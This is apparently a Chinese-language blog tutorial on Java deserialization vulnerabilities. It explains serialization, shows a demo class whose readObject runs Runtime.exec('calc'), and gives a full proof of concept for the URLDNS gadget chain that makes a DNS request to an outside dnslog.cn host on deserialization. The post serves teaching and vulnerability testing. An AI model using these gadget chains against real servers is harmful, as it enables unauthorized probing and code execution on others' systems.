初探JAVA反序列化漏洞-URLDNS链

发布于 2024-08-10  689 次阅读


JAVA序列化和反序列化

序列化:将对象变为一串字节码(一般hex的开头为AC ED 00 05),便于传输
反序列化:将序列化的字节码恢复为对象
序列化:

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class ser {
    public static void main(String[] args) throws IOException, IOException {

        student stu = new student();
        //将student类的序列化数据写入ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(stu);
    }
}

反序列化:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectInputStream;

public class uns {
    public static void main(String a[]) throws IOException,ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(("ser.txt")));
        student o = (student) ois.readObject(); //readObject反序列化得到实例为Object类型
        System.out.println(o.getscore());
    }
}

反序列化引起的安全问题

被序列化的对象的类中如果定义了readObject方法,则会使用类中的readObject方法来反序列化,readObject中只要有ois.defaultReadObject();(ois是传入的ObjectInputStream对象)就可以正常完成反序列化过程。

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
    }

这时如果readObject方法中调用了其他类的危险函数,攻击者可以构造特殊的序列化数据,让readObject方法去执行这些类的函数。
比如反序列化这个unsafe类的对象后,就会执行弹计算机的命令

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class unsafe implements Serializable {

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
        ois.defaultReadObject();
        new exec().calc();
    }
}
class exec {
    public void calc() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

urldns链

URLDNS是一个典型的JAVA反序列化利用链,最终目的是向外部网站发起一个DNS请求,由于不依赖任何库,常被用来理解反序列化原理和测试反序列化漏洞

要反序列化的是一个HashMap对象,找到它的readObject方法:
image_mak
在方法最后一行,调用了本类的putVal方法,其中参数是调用了本类的hash方法
image_mak
跟进
image_mak
如果给的key不为0,就会调用key对象的hashCode方法(hashCode是Object的方法,其他类可以对其进行重写)
如果给的key是一个URL对象,那么调用URL的hashCode,找到URL类的hashCode
image_mak
image_mak
因此URL类的hashCode方法中,如果属性hashCode不为-1就执行URLStreamHandler的hashCode方法,跟进
image_mak
其中的getHostAddress会发送一个DNS请求,达到我们的目的
因此,反序列化方法调用链为:

HashMap.readObject -> HashMap.hash -> URL.hashCode -> URLStreamHandler.hashCode -> URLStreamHandler.getHostAddress

而完成攻击的条件就是url对象的hashcode要为-1.由于url类中hashcode初始值就是-1,并且hashMap的put方法中也有hash方法
image_mak
为避免二次触发,需要先将url对象的hashcode设置不为-1
put之后,再设为-1,用于反序列化时使用。
poc如下:

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.util.HashMap;

public class testUrldns{
    public static void main(String args[]) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        //通过反射创建一个URL对象
        Class urlClass = Class.forName("java.net.URL");
        Constructor urlCons = urlClass.getConstructor(String.class);
        URL urlObject = (URL) urlCons.newInstance("http://vhec8z.dnslog.cn");

        //创建HashMap对象
        HashMap<URL,Integer> hashmap = new HashMap<>();

        //将URL对象的hashCode值设为非-1,用于put进hashMap
        Field hashCode_url = urlClass.getDeclaredField("hashCode");
        hashCode_url.setAccessible(true);
        hashCode_url.set(urlObject,114514);

        //进行put,URL对象作为key
        hashmap.put(urlObject,1);

        //将hashCode值改回-1
        hashCode_url.set(urlObject,-1);

        //序列化HashMap对象
        ser.serialize(hashmap);

        //反序列化
        uns.unserialize();

    }
}

class ser {
    public static void serialize(Object obj) throws IOException, IOException {
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }
}
class uns {
    public static void unserialize() throws IOException,ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(("ser.txt")));
        Object o = ois.readObject(); //readObject反序列化得到实例为Object类型
    }
}

可以看到成功查询
image_mak

A web ctfer from 0RAYS
最后更新于 2024-08-24